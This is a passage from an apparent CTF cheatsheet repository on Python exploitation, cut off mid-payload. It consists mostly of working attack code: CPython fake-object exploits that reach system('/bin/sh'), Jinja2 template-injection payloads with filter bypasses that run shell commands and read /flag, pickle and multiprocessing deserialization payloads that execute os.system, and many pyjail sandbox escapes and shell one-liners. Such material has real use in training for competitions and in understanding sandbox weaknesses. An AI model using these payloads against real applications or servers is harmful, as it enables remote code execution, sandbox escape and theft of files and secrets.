├── README.md ├── internals ├── README.md └── pwning-python │ └── README.md ├── libraries ├── Jinja2 │ └── README.md ├── README.md ├── multiprocessing │ └── README.md ├── pickle │ └── README.md ├── pyratemp │ └── README.md ├── sys │ └── README.md └── uncompyle6 │ └── README.md ├── pyjails ├── README.md └── how-to-solve-a-pyjail.md └── rev └── README.md /README.md: -------------------------------------------------------------------------------- 1 | # Python Ctf Cheatsheet 2 | 3 | ## Summary 4 | - [Internals](https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/internals) 5 | - [Pwning Python](https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/internals/pwning-python) 6 | - [Libraries](https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/libraries) 7 | - [Jinja2](https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/libraries/Jinja2) 8 | - [multiprocessing](https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/libraries/multiprocessing) 9 | - [pickle](https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/libraries/pickle) 10 | - [pyratemp](https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/libraries/pyratemp) 11 | - [sys](https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/libraries/sys) 12 | - [uncompyle6](https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/libraries/uncompyle6) 13 | - [Pyjails](https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails) 14 | - [How to solve a pyjail](https://github.com/salvatore-abello/python-ctf-cheatsheet/blob/main/pyjails/how-to-solve-a-pyjail.md) 15 | - [Rev](https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/rev) 16 | -------------------------------------------------------------------------------- /internals/README.md: -------------------------------------------------------------------------------- 1 | # Internals 2 | 3 | ### random and _random 4 | 5 | The random library uses the mt19937 PRNG 6 | ```py 7 | # random 8 | import random 9 | from _sha512 import sha512 10 | 11 | 12 | def random_seed_func(s: bytes) -> int: 13 | return int.from_bytes(s + sha512(s).digest(), "big") 14 | 15 | def test_random_seed(t): 16 | random.seed(t) 17 | return random.getrandbits(32) 18 | 19 | n1 = b"abobus_abobus_abobus_abobus_abobus_abobus" 20 | 21 | res1 = test_random_seed(n1) 22 | res2 = test_random_seed(random_seed_func(n1)) 23 | 24 | print(res1, res2) 25 | 26 | assert res1 == res2 27 | ``` 28 | 29 | ```py 30 | # _random 31 | import _random 32 | 33 | hshval = b"abobus_abobus_abobus_abobus_abobus_abobus" 34 | 35 | r1 = _random.Random(hshval) 36 | r2 = _random.Random(hash(hshval)) 37 | 38 | # This works 50% of the time 39 | assert r1.getrandbits(32) == r2.getrandbits(32) 40 | ``` 41 | 42 | ### Python Hash function 43 | 44 | ```py 45 | # Hash behavior changes based on the type passed to it 46 | 47 | # Integers 48 | import random 49 | n = random.getrandbits(128) 50 | 51 | hash(n) == hash(n % 0x2000000000000000) 52 | assert hash(n) == hash(n % 0xfffffffffffffff8) 53 | 54 | # Bytes/strings 55 | 56 | hash(b"abobus") # Seems random 57 | ``` 58 | 59 | Hash internally uses SipHash-2-4 with a random seed, called `_Py_HashSecret`, it's possible to extract that value using this script: 60 | 61 | ```py 62 | from ctypes import ( 63 | c_size_t, 64 | c_ubyte, 65 | c_uint64, 66 | pythonapi, 67 | Structure, 68 | Union, 69 | ) 70 | 71 | 72 | class FNV(Structure): 73 | _fields_ = [ 74 | ('prefix', c_size_t), 75 | ('suffix', c_size_t) 76 | ] 77 | 78 | 79 | class SIPHASH(Structure): 80 | _fields_ = [ 81 | ('k0', c_uint64), 82 | ('k1', c_uint64), 83 | ] 84 | 85 | 86 | class DJBX33A(Structure): 87 | _fields_ = [ 88 | ('padding', c_ubyte * 16), 89 | ('suffix', c_size_t), 90 | ] 91 | 92 | 93 | class EXPAT(Structure): 94 | _fields_ = [ 95 | ('padding', c_ubyte * 16), 96 | ('hashsalt', c_size_t), 97 | ] 98 | 99 | 100 | class _Py_HashSecret_t(Union): 101 | _fields_ = [ 102 | ('uc', c_ubyte * 24), 103 | ('fnv', FNV), 104 | ('siphash', SIPHASH), 105 | ('djbx33a', DJBX33A), 106 | ('expat', EXPAT), 107 | ] 108 | 109 | 110 | hashsecret = _Py_HashSecret_t.in_dll(pythonapi, '_Py_HashSecret') 111 | hashseed = bytes(hashsecret.uc) 112 | print(hashseed[:16].hex()) 113 | ``` 114 | 115 | `_Py_HashSecret` can be also generated by setting the value of `PYTHONHASHSEED` different from `random` (needs to be an integer `[0; 4294967295]`) 116 | 117 | Example: 118 | 119 | ```sh 120 | sal@LAPTOP-K6PV3EII:~$ PYTHONHASHSEED=0 python3 hash.py 121 | 6582741728881602086 122 | ``` 123 | 124 | The output will always be the same 125 | 126 | if `PYTHONHASHSEED` is passed, it's going to be generated using this: 127 | 128 | ```py 129 | 130 | seed = int(input("Give me the value of PYTHONHASHSEED: ")) 131 | 132 | def lcg_urandom(x0, buffer, size): 133 | if x0 == 0: 134 | buffer = [0]*size 135 | 136 | x = x0 137 | for index in range(size): 138 | x = (x * 214013 + 2531011) & 0xFFFFFFFF 139 | buffer[index] = (x >> 16) & 0xFF 140 | 141 | 142 | buf = [0]*24 143 | lcg_urandom(seed, buf, 24) 144 | 145 | print(bytes(buf)) 146 | 147 | ``` 148 | 149 | We can verify that using this script: 150 | ```py 151 | import siphash # python -m pip install siphash 152 | 153 | tohash = input("String to be hashed: ").encode() 154 | pysecret = bytes.fromhex(input("Value of _Py_HashSecret: ")) 155 | 156 | 157 | def hash(tohash, secret): 158 | return siphash.SipHash_2_4(secret, tohash).hash() 159 | 160 | 161 | print(hash(tohash, pysecret)) 162 | ``` 163 | 164 | Output: 165 | ``` 166 | String to be hashed: abobus 167 | Value of _Py_HashSecret (generated from PYTHONHASHSEED): 00000000000000000000000000000000 168 | 6582741728881602086 # <- the value is the same 169 | ``` 170 | -------------------------------------------------------------------------------- /internals/pwning-python/README.md: -------------------------------------------------------------------------------- 1 | # Pwning python 2 | 3 | ## Summary 4 | - [Strings Introduction](https://github.com/salvatore-abello/python-ctf-cheatsheet/blob/main/internals/pwning-python/README.md#strings-introduction) 5 | - [RCE Using PyObj_FromPtr](https://github.com/salvatore-abello/python-ctf-cheatsheet/blob/main/internals/pwning-python/README.md#using-pyobj_fromptr) 6 | - [Using One-gadgets](https://github.com/salvatore-abello/python-ctf-cheatsheet/blob/main/internals/pwning-python/README.md#using-a-one-gadget) 7 | - [Calling system](https://github.com/salvatore-abello/python-ctf-cheatsheet/blob/main/internals/pwning-python/README.md#calling-systembinsh) 8 | - [Calling system without libc leaks](https://github.com/salvatore-abello/python-ctf-cheatsheet/blob/main/internals/pwning-python/README.md#calling-systembinsh-without-libc-leaks) 9 | - [Notes](https://github.com/salvatore-abello/python-ctf-cheatsheet/blob/main/internals/pwning-python/README.md#note) 10 | 11 | ## Strings introduction 12 | 13 | In python, the string is located `0x20`/`0x30` (this depends on the python version) after `id(string)` 14 | 15 | (This also applies to the class `bytes`) 16 | 17 | Example: 18 | 19 | ```py 20 | >>> string = "Wow!" 21 | >>> id(string) 22 | 140737341202416 23 | ``` 24 | 25 | ```py 26 | [running] gef> x/s 140737341202416+0x30 27 | 0x7ffff73aa020: "Wow!" 28 | ``` 29 | 30 | ## Printing Python objects in gdb 31 | ``` 32 | p (PyTypeObject)*addr 33 | p (PyObject)*addr 34 | ``` 35 | 36 | ## Using PyObj_FromPtr 37 | 38 | We can create fake objects in order to gain RCE. 39 | Let's look at the `_typeobject` struct: 40 | 41 | ```c++ 42 | struct _typeobject { 43 | PyObject_VAR_HEAD 44 | const char *tp_name; /* For printing, in format "." */ 45 | Py_ssize_t tp_basicsize, tp_itemsize; /* For allocation */ 46 | 47 | /* Methods to implement standard operations */ 48 | 49 | destructor tp_dealloc; 50 | Py_ssize_t tp_vectorcall_offset; 51 | getattrfunc tp_getattr; 52 | setattrfunc tp_setattr; 53 | PyAsyncMethods *tp_as_async; /* formerly known as tp_compare (Python 2) 54 | or tp_reserved (Python 3) */ 55 | reprfunc tp_repr; 56 | 57 | /* Method suites for standard classes */ 58 | 59 | PyNumberMethods *tp_as_number; 60 | PySequenceMethods *tp_as_sequence; 61 | PyMappingMethods *tp_as_mapping; 62 | 63 | /* More standard operations (here for binary compatibility) */ 64 | 65 | hashfunc tp_hash; 66 | ternaryfunc tp_call; 67 | reprfunc tp_str; 68 | ``` 69 | 70 | `PyObject_VAR_HEAD` is a macro which expands to: 71 | 72 | ```c++ 73 | Py_ssize_t ob_refcnt; 74 | PyTypeObject *ob_type; 75 | ``` 76 | 77 | We can define a field in order to execute what we want. 78 | An interesting one is `tp_str`, why? Let's look at the function `PyObject_Str`: 79 | 80 | ```c++ 81 | 0x5555556c9f20 call r11 82 | ``` 83 | 84 | If we're able to control the value of `r11`, we can jump to any address we want! 85 | 86 | `tp_str` is going to be called each time we pass an object to `print` or `repr` 87 | 88 | Now, we just need to create a fake object with our fake type. 89 | Objects in python are defined as follow: 90 | 91 | ```c++ 92 | typedef struct _object { 93 | _PyObject_HEAD_EXTRA 94 | Py_ssize_t ob_refcnt; 95 | struct _typeobject *ob_type; 96 | } PyObject; 97 | 98 | // https://medium.com/@sergioli/how-python-objects-are-implemented-in-c-2f36ff8fb371 99 | ``` 100 | 101 | So we can create an object like this: 102 | `refcount + pointer_to_fake_type` 103 | 104 | 105 | ### Using a one gadget 106 | 107 | Since we only call a function without passing arguments to it, we can use a one gadget and hoping it works. We need 112 bytes in order to define the field `tp_str`: 108 | ```c++ 109 | { 110 | ob_base = { 111 | ob_base = { 112 | ob_refcnt = 0x1, 113 | ob_type = 0x555555acb180 114 | }, 115 | ob_size = 0x70 116 | }, 117 | tp_name = 0xffffffffffffffff , 118 | tp_basicsize = 0x5555555c3464, 119 | tp_itemsize = 0x5555555c3464, 120 | tp_dealloc = 0x5555555c3464 , 121 | tp_vectorcall_offset = 0x5555555c3464, 122 | tp_getattr = 0x5555555c3464 , 123 | tp_setattr = 0x5555555c3464 , 124 | tp_as_async = 0x5555555c3464 , 125 | tp_repr = 0x5555555c3464 , 126 | tp_as_number = 0x5555555c3464 , 127 | tp_as_sequence = 0x5555555c3464 , 128 | tp_as_mapping = 0x5555555c3464 , 129 | tp_hash = 0x5555555c3464 , 130 | tp_call = 0x5555555c3464 , 131 | tp_str = 0x5555555c3464 , 132 | [...] 133 | ``` 134 | 135 | Example: 136 | ```py 137 | from pwn import * 138 | from _ctypes import PyObj_FromPtr 139 | 140 | context.binary = elf = ELF("/usr/bin/python3") 141 | libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6") 142 | 143 | zero_libc_offset = 0x156f30 # This may change depending on your Python version. You can find it by doing libc_base_addr-id(0) inside gdb 144 | libc.address = id(0) + zero_libc_offset 145 | 146 | print(f"[ + ] libc base address: {hex(libc.address)}") 147 | 148 | one_gadget = libc.address + 0xebc88 # run one_gadget libc.so.6 149 | fake_type = flat(one_gadget)*14 150 | 151 | fake_object = flat( 152 | 0xdeadbeef, # ref_count 153 | id(fake_type) + 0x20 # ob_type 154 | ) 155 | 156 | print(f"[ + ] Fake object id: {hex(id(fake_object))}") 157 | 158 | b = PyObj_FromPtr(id(fake_object) + 0x20) 159 | 160 | print(b) # Here we trigger tp_str 161 | ``` 162 | 163 | Result: 164 | 165 | img1 166 | 167 | 168 | And that's it! 169 | 170 | But... What if we don't have any one-gadgets!? 171 | 172 | Well... 173 | 174 | ### calling system("/bin/sh") 175 | 176 | Somehow, we need to call `system("/bin/sh")` 177 | 178 | Luckily for us, when calling `r11`, python will pass the `ref_count` to that function as a first argument: 179 | 180 | ```c++ 181 | *our_function_addr ( 182 | $rdi = 0x00007fffb3b16910 → 0x00000000deadbef1, 183 | $rsi = 0x0000000000000000, 184 | $rdx = 0x00007ffff7c52000 → 0x00007ffff7c52000 → [loop detected], 185 | $rcx = 0x0000555555af7a80 → <_PyRuntime+0> add BYTE PTR [rax], al 186 | ) 187 | ``` 188 | 189 | Did you see that? Inside `rdi`, there's a pointer to the `ref_count` we passed before. Let's try putting `/bin/sh` instead of `0xdeadbeef`: 190 | 191 | ```c++ 192 | *our_function_addr ( 193 | $rdi = 0x00007fffb3b16590 → 0x0068732f6e696231 ("1bin/sh"?), 194 | $rsi = 0x0000000000000000, 195 | $rdx = 0x00007ffff7c52000 → 0x00007ffff7c52000 → [loop detected], 196 | $rcx = 0x0000555555af7a80 → <_PyRuntime+0> add BYTE PTR [rax], al 197 | ) 198 | ``` 199 | 200 | Something happened to our string. In Python, every time an object is referenced, the `ref_count` is incremented. So we actually need to pass `.bin/sh` instead of `/bin/sh` so, when the object will be referenced, the string becomes `/bin/sh`. 201 | 202 | Finally, instead of passing the address of our one-gadget, we pass the address of `system`: 203 | 204 | ```py 205 | from pwn import * 206 | from _ctypes import PyObj_FromPtr 207 | 208 | context.binary = elf = ELF("/usr/bin/python3", checksec=False) 209 | libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6", checksec=False) 210 | 211 | zero_libc_offset = 0x156f30 # This may change depending on your Python version. You can find it by doing libc_base_addr-id(0) inside gdb 212 | libc.address = id(0) + zero_libc_offset 213 | 214 | print(f"[ + ] libc base address: {hex(libc.address)}") 215 | 216 | one_gadget = libc.address + 0xebc88 217 | fake_type = flat(libc.sym['system'])*14 218 | 219 | fake_object = flat( 220 | b'-bin/sh\x00', # ref_count 221 | id(fake_type) + 0x20 # ob_type 222 | ) 223 | 224 | print(f"[ + ] Fake object id: {hex(id(fake_object))}") 225 | 226 | b = PyObj_FromPtr(id(fake_object) + 0x20) 227 | 228 | print(b) # Here we trigger tp_str 229 | ``` 230 | 231 | And... We got a shell! 232 | 233 | img1 234 | 235 | 236 | ### calling system('/bin/sh') without libc leaks 237 | **This exploit works 100% of the time** 238 | 239 | ```py 240 | from _ctypes import PyObj_FromPtr 241 | 242 | context.binary = elf = ELF("/usr/bin/python3", checksec=False) 243 | libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6", checksec=False) 244 | 245 | str_base_offset = 0x5737c0 246 | elf.address = id(str) - str_base_offset 247 | 248 | print(f"[ + ] elf base address: {hex(elf.address)}") 249 | 250 | fake_type_1 = flat(elf.sym['system'])*14 251 | 252 | fake_object_1 = flat( 253 | b'-bin/sh\x00', # ref_count 254 | id(fake_type_1) + 0x20 # ob_type 255 | ) 256 | 257 | print(f"[ + ] Fake object id: {hex(id(fake_object_1))}") 258 | 259 | 260 | b = PyObj_FromPtr(id(fake_object_1) + 0x20) 261 | 262 | repr(b) 263 | ``` 264 | 265 | ## Note 266 | Since there are other fields before `tp_str`, we can trigger the call with something like this: 267 | 268 | ```py 269 | b.a 270 | ``` 271 | 272 | By using this method, we can pass a second argument to the function we want to call: 273 | 274 | ```py 275 | # rdi = ref_count 276 | # rsi = attribute name 277 | b.MyAttr 278 | ``` 279 | 280 | image 281 | 282 | 283 | If we decrease the `ref_count` to 0, we can trigger the call without doing nothing! 284 | For example: 285 | 286 | ```py 287 | from pwn import * 288 | from _ctypes import PyObj_FromPtr 289 | 290 | context.binary = elf = ELF("/usr/bin/python3", checksec=False) 291 | libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6", checksec=False) 292 | 293 | zero_system_offset = 0x1a7ca0 294 | libc.address = id(0) + zero_system_offset - libc.sym["system"] # The offset will always be the same 295 | 296 | print(f"[ + ] libc base address: {hex(libc.address)}") 297 | 298 | one_gadget = libc.address + 0xebc81 299 | fake_type = flat(one_gadget)*14 300 | 301 | fake_object = flat( 302 | 0, # ref_count 303 | id(fake_type) + 0x20 # ob_type 304 | ) 305 | 306 | print(f"[ + ] Fake object id: {hex(id(fake_object))}") 307 | 308 | b = PyObj_FromPtr(id(fake_object) + 0x20) # We're not touching the object! 309 | ``` 310 | 311 | **These exploits don't work on the first try. That's becausae we need to bruteforce 4 bits of ASLR. It is recommended to run at least 16 times!** 312 | 313 | #### source 314 | https://docs.python.org/3.3/c-api/structures.html#:~:text=%3B%20PyTypeObject%20*ob_type%3B-,PyObject_VAR_HEAD,varies%20from%20instance%20to%20instance. 315 | https://github.com/python/cpython/blob/main/Objects/typeobject.c 316 | -------------------------------------------------------------------------------- /libraries/Jinja2/README.md: -------------------------------------------------------------------------------- 1 | # Jinja2 & Flask 2 | 3 | ## The simplest payloads to achieve RCE 4 | 5 | ```py 6 | {{cycler.__init__.__globals__["os"].popen("ls").read()}} 7 | {{self.__init__.__globals__.__builtins__["eval"]("set(open(''/flag'))")}} 8 | {{().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["eval"]("set(open('/flag'))")}} 9 | ``` 10 | 11 | ## No dots, no attr, no |, no 'flag', no subclasses, no globals, no `__class__`, no mro 12 | 13 | ```py 14 | # http://localhost:1337/?c=__class__&s=__subclasses__&b=__globals__&bb=__builtins__&cmd=set(open(%22/flag.txt%22)) 15 | 16 | {{(()[request["args"]["c"]][request["args"]["c"]][request["args"]["s"]](()[request["args"]["c"]][request["args"]["c"]])[0]["register"])[request["args"]["b"]][request["args"]["bb"]]["eval"](request["args"]["cmd"])}} 17 | ``` 18 | 19 | ## No dots, no attr, no |, no 'flag', no subclasses, no globals, no args, no mro, no `__class__`, idk what to put anymore 20 | 21 | ```http 22 | GET /?q={{(()[request["headers"]["c"]][request["headers"]["c"]][request["headers"]["c"]][request["headers"]["c"]][request["headers"]["c"]][request["headers"]["s"]](()[request["headers"]["c"]][request["headers"]["c"]][request["headers"]["c"]][request["headers"]["c"]])[0]["register"])[request["headers"]["b"]][request["headers"]["bb"]]["eval"](request["headers"]["cmd"])}} HTTP/1.1 23 | Host: localhost:1337 24 | c:__class__ 25 | s:__subclasses__ 26 | b:__globals__ 27 | bb:__builtins__ 28 | cmd:set(open("/flag")) 29 | Connection: close 30 | ``` 31 | (You can also use cookies) 32 | 33 | ## No dots, no attr, no {{, no _, no [, with known app.secret_key 34 | 35 | ```py 36 | {%with a=session|first%}{%print(request|attr("application")|attr(a%2b"globals"%2ba))|attr(a%2b"getitem"+%2ba)("json")|attr("codecs")|attr("sys")|attr("modules")|attr(a%2b"getitem"+%2ba)("os")|attr("popen")("cat /*")|attr("read")()%}{%endwith%} 37 | 38 | # session=.eJwljrsOwjAMAP8lM4Pjxq7Dz1SOH6ISMLRiQvw7QYx3uuHeZdvKtZRL2fKI81auqfczJu4-vTmqMYzBmdEcmhpxrziYwZxkKgdiSl1VOksIax1RpRmuC0qQkiFFB264Bgu6WGp3cXRAHNBmMrp6JSdVU6lh7m3hSDD6fb3OOP436o_9WT5fNWU0Sw.ZhpIWQ.OLbcuOplfe801xPDpiwJ-WC-zR4 39 | ``` 40 | 41 | Other payloads: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2---filter-bypass 42 | 43 | Forcing output on blind RCE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2---forcing-output-on-blind-rce 44 | -------------------------------------------------------------------------------- /libraries/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/salvatore-abello/python-ctf-cheatsheet/cdef5a24179831fa02cf12de0e999d1493b021b5/libraries/README.md -------------------------------------------------------------------------------- /libraries/multiprocessing/README.md: -------------------------------------------------------------------------------- 1 | # Multiprocessing 2 | Multiprocessing uses pickle because it's the best way to communicate between processes in a fast way. 3 | 4 | ## Example 1 5 | 6 | ```py 7 | import multiprocessing 8 | 9 | 10 | def f(x): 11 | return x 12 | 13 | class test: 14 | def __reduce__(x): 15 | import os 16 | return (os.system, ("ls",)) 17 | 18 | 19 | if __name__ == "__main__": 20 | multiprocessing.Process(target=f, args=(test(),)).start() 21 | ``` 22 | 23 | ## Example 2 (https://github.com/HITB-CyberWeek/proctf-2019/blob/master/writeups/fraud_detector/fraud_detector.md) 24 | 25 | ```py 26 | import ast 27 | import multiprocessing 28 | import concurrent.futures 29 | 30 | def run_rule(rule, user): 31 | globs = __builtins__.copy() 32 | globs.update({ 33 | "user": user, 34 | "fraud_prob": 0 35 | }) 36 | 37 | ast_rule = ast.parse(rule) 38 | 39 | code = compile(ast_rule, filename="rule.py", mode="exec") 40 | exec(code, globs) 41 | fraud_prob = globs["fraud_prob"] 42 | 43 | return fraud_prob 44 | 45 | 46 | def run_rules(rules, user): 47 | return [run_rule(rule, user) for rule in rules] 48 | 49 | 50 | def run_rules_safe(rules, user): 51 | executor = concurrent.futures.ProcessPoolExecutor(max_workers=1) 52 | future = executor.submit(run_rules, rules, user) 53 | return future.result(timeout=2.0) 54 | 55 | 56 | # Here 'backdoor.py' will be imported 57 | if __name__ == "__main__": 58 | run_rules_safe([""" 59 | __name__ = "backdoor" # data.users.test -> importing data/users/test.py 60 | fraud_prob = type("A", (), {"__gt__": lambda s, o: True, "__lt__": lambda s, o: True})() 61 | """], "test") 62 | 63 | ``` -------------------------------------------------------------------------------- /libraries/pickle/README.md: -------------------------------------------------------------------------------- 1 | # Pickle 2 | 3 | ### The simplest payload 4 | ```py 5 | import pickle 6 | import base64 7 | 8 | 9 | class f: 10 | def __reduce__(self): 11 | import os 12 | return (os.system,("sleep 5 && cat /flag",)) 13 | 14 | print(f"Payload: {base64.b64encode(pickle.dumps(f()))}") 15 | ``` 16 | 17 | ## Blacklist bypasses 18 | 19 | ### No R opcode 20 | 21 | ```py 22 | # https://github.com/gousaiyang/pickleassem 23 | 24 | import pickle 25 | import pickletools 26 | import base64 27 | 28 | from pickleassem import PickleAssembler 29 | 30 | pa = PickleAssembler(proto=4) 31 | pa.push_mark() 32 | pa.util_push('cat /etc/passwd') 33 | pa.build_inst('os', 'system') 34 | payload = pa.assemble() 35 | print(base64.b64encode(payload)) 36 | 37 | ``` 38 | 39 | ## Convert python scripts into pickle bytecode 40 | https://github.com/splitline/Pickora 41 | 42 | 43 | 44 | [More...](https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/rev#pickle) 45 | -------------------------------------------------------------------------------- /libraries/pyratemp/README.md: -------------------------------------------------------------------------------- 1 | # Coming soon :eyes: -------------------------------------------------------------------------------- /libraries/sys/README.md: -------------------------------------------------------------------------------- 1 | # sys 2 | 3 | ## Access other modules 4 | 5 | ```py 6 | sys.modules["module_name"] 7 | ``` 8 | 9 | ## Breakpoint 10 | ```py 11 | sys.breakpointhook() 12 | ``` 13 | 14 | ## Useful gadgets 15 | ```py 16 | sys.call_tracing(, ) 17 | sys._getframe() 18 | ``` 19 | -------------------------------------------------------------------------------- /libraries/uncompyle6/README.md: -------------------------------------------------------------------------------- 1 | # Uncompyle6/decompile3 RCE 2 | 3 | ```py 4 | # Credits: @hashkitten 5 | foo('%{__import__("os").system("cat /flag")}', **x, y=1) 6 | ``` 7 | 8 | Source: https://github.com/DownUnderCTF/Challenges_2023_Public/blob/main/misc/daas/solution/exploit.py -------------------------------------------------------------------------------- /pyjails/README.md: -------------------------------------------------------------------------------- 1 | # Pyjail cheatsheet 2 | 3 | ## Common payloads 4 | 5 | ### no builtins, inside an interactive shell/multiple exec 6 | 7 | ```py 8 | # Thanks @Loldemort 9 | del __builtins__ 10 | exec(input()) 11 | ``` 12 | 13 | 14 | ### Restore builtins 15 | ```py 16 | help.__call__.__builtins__ # or __globals__ -> help.__call__.__globals__["sys"].modules["os"].system("/bin/sh") 17 | license.__call__.__builtins__ # or __globals__ 18 | credits.__call__.__builtins__ # or __globals__ 19 | __build_class__.__self__ 20 | __import__.__self__ 21 | abs.__self__ 22 | aiter.__self__ 23 | all.__self__ 24 | anext.__self__ 25 | any.__self__ 26 | ascii.__self__ 27 | bin.__self__ 28 | breakpoint.__self__ 29 | callable.__self__ 30 | chr.__self__ 31 | compile.__self__ 32 | delattr.__self__ 33 | dir.__self__ 34 | divmod.__self__ 35 | eval.__self__ 36 | exec.__self__ 37 | format.__self__ 38 | getattr.__self__ 39 | globals.__self__ 40 | hasattr.__self__ 41 | hash.__self__ 42 | hex.__self__ 43 | id.__self__ 44 | input.__self__ 45 | isinstance.__self__ 46 | issubclass.__self__ 47 | iter.__self__ 48 | len.__self__ 49 | locals.__self__ 50 | max.__self__ 51 | min.__self__ 52 | next.__self__ 53 | oct.__self__ 54 | ord.__self__ 55 | pow.__self__ 56 | print.__self__ 57 | repr.__self__ 58 | round.__self__ 59 | setattr.__self__ 60 | sorted.__self__ 61 | sum.__self__ 62 | vars.__self__ 63 | 64 | user_defined_function.__builtins__ 65 | ``` 66 | 67 | ### Spawning a shell 68 | 69 | ```py 70 | breakpoint() 71 | # import os; os.system("/bin/sh") 72 | ``` 73 | ```py 74 | exec(input()) 75 | # import os; os.system("/bin/sh") 76 | ``` 77 | ```py 78 | eval(input()) 79 | # __import__("os").system("/bin/sh") 80 | ``` 81 | 82 | ### Read a file 83 | ```py 84 | help() # then send "print\n:e/flag" 85 | ``` 86 | ```py 87 | # to stderr 88 | exit(set(open("flag"))) 89 | exit(*open("flag")) 90 | help(*open("flag")) # this also works with (stdout/stderr) closed 91 | open(*open("flag")) 92 | compile(".","flag","exec") # flag printed to stderr 93 | ``` 94 | 95 | ```py 96 | # to stdout 97 | help(*open("flag")) # this works like a normal print 98 | set(open("flag")) # only works inside an interactive console 99 | print(*open("flag")) 100 | ``` 101 | 102 | ### Deleting a variable 103 | 104 | ```py 105 | # Using try except: 106 | 107 | delete_me = "" 108 | try: 109 | p 110 | except NameError as delete_me: 111 | pass 112 | print(delete_me) # error 113 | ``` 114 | ```py 115 | # using del 116 | 117 | delete_me = "" 118 | del delete_me 119 | print(delete_me) # error 120 | ``` 121 | 122 | ## Bypassing common blacklists 123 | ### No function calls 124 | 125 | ```py 126 | @exec 127 | @input 128 | def a():pass # or class a:pass 129 | ``` 130 | 131 | ### No function call and no exec/eval 132 | 133 | ```py 134 | @print 135 | @set 136 | @open 137 | @input 138 | def a():pass # or class a:pass 139 | ``` 140 | 141 | ### No function call, no exec/eval, no \n, no spaces, no tabs 142 | ```py 143 | @print\r@set\r@open\r@input\rclass\x0ca:pass 144 | ``` 145 | 146 | ### No ASCII letters 147 | ```py 148 | # I usually use https://lingojam.com/ItalicTextGenerator 149 | 150 | 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵() # import os;os.system("/bin/sh") 151 | 152 | ``` 153 | 154 | Other unicode bypasses: https://peps.python.org/pep-0672/ 155 | 156 | ### no ASCII letters, no underscores, inside eval 157 | ``` 158 | __𝘪𝘮𝘱𝘰𝘳𝘵__(𝘪𝘯𝘱𝘶𝘵()).system(𝘪𝘯𝘱𝘶𝘵()) 159 | ``` 160 | 161 | ### no ASCII letters, no double underscores, no builtins, inside eval 162 | ```py 163 | ().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[1].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[104].𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦("\157\163").𝘴𝘺𝘴𝘵𝘦𝘮("\57\142\151\156\57\163\150") 164 | ``` 165 | 166 | ### no ASCII letters, no double underscores, no builtins, no quotes/double quotes inside eval (>= python3.8) 167 | ```py 168 | [𝘺:=().__𝘥𝘰𝘤__, 𝘢:=y[19],().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[1].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[104].𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦(𝘺[34]+𝘢).𝘴𝘺𝘴𝘵𝘦𝘮(𝘢+𝘺[56])] 169 | ``` 170 | 171 | ### Only imports 172 | ```py 173 | from os import system as __getattr__; from __main__ import sh 174 | ``` 175 | 176 | ### Other oneliners 177 | ```py 178 | ().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() 179 | ().__class__.__subclasses__()[19].__repr__.__globals__["_sys"].modules["os"].system("ls") 180 | (1).__class__.__subclasses__()[2].__rand__.__globals__["sys"].modules["os"].system("ls") 181 | [].__class__.__subclasses__()[1].__init__.__builtins__["__import__"]("os").system("ls") 182 | [].__class__.__subclasses__()[1].__hash__.__builtins__["__import__"]("os").system("ls") 183 | 184 | # if builtins aren't deleted 185 | import sys;sys.stderr.flush=breakpoint 186 | import sys;sys.stdout.flush=breakpoint 187 | import pdb,builtins as e;e.set=breakpoint;a 188 | import ctypes; import sys; import os; [os.system for os.fspath in [os.system]]; ctypes.cdll[sys.executable] 189 | import os; import sys; [sys for sys.prefix in [sys.executable]]; [sys for os.path.normpath in [os.system]]; import sysconfig 190 | 191 | ``` 192 | ### Bypass parsers using comments and encodings 193 | This only works in certain cases: 194 | - Everything is put into a file and then executed 195 | - There is something like `exec(data)` where `type(data) == bytes` 196 | ```py 197 | # -*- coding: utf_7 -*- 198 | def f(x): 199 | return x 200 | #+AAo-print(open("flag.txt").read()) 201 | # Thanks @collodel 202 | ``` 203 | 204 | ### multiple exec, no dots, no builtins/builtins blacklisted + other blacklisted words 205 | ```py 206 | # only works if sys is already imported 207 | __builtins__ = sys 208 | __builtins__ = modules 209 | __builtins__ = os 210 | system("cat /flag") 211 | ``` 212 | 213 | ### builtins are deleted from everywhere: 214 | https://gist.github.com/CharlesAverill/e7fef5a6e078f14b7ac7b3d318e3e24f?permalink_comment_id=4749794#gistcomment-4749794 215 | 216 | ### Bypass blacklists using generators 217 | 218 | ```py 219 | # Way better than (lambda x:x).__globals__ 220 | (x for x in ()).gi_frame.f_builtins 221 | (x for x in ()).gi_frame.f_globals 222 | ``` 223 | 224 | ### Bypass blacklists using asynchronous functions 225 | ```py 226 | async def a():pass 227 | a().cr_frame.f_globals 228 | ``` 229 | 230 | ### Other ways to obtain a frame 231 | ```py 232 | (sig:=help.__call__.__globals__["sys"].modules["_signal"],sig.signal(2, 